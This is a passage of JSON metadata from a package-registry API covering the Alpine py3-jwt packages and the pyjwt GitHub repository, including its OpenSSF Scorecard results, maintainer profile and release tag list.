.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.11/packages/py3-jwt-cli/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.11/packages/py3-jwt-cli/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.11/packages/py3-jwt-cli/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.11/packages/py3-jwt-cli/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.11/packages/py3-jwt-cli/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.11/packages/py3-jwt-cli/codemeta","maintainers":[],"registry":{"name":"alpine-v3.11","url":"https://pkgs.alpinelinux.org/packages?branch=v3.11","ecosystem":"alpine","default":false,"packages_count":11274,"maintainers_count":184,"namespaces_count":2,"keywords_count":1196,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":402},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.767Z","updated_at":"2026-06-10T05:16:51.991Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.11/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.11/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.11/namespaces"}},{"id":6064239,"name":"py3-jwt","ecosystem":"alpine","description":"Python JSON Web Token implementation (for python3)","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"main","versions_count":1,"first_release_published_at":"2019-05-05T12:16:33.000Z","latest_release_published_at":"2019-05-05T12:16:33.000Z","latest_release_number":"1.7.1-r1","last_synced_at":"2026-03-05T09:21:11.649Z","created_at":"2023-01-31T19:14:23.434Z","updated_at":"2026-05-29T04:00:36.345Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.10/main/x86_64/py3-jwt","install_command":"apk add py3-jwt","documentation_url":null,"metadata":{"repository":"main","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hos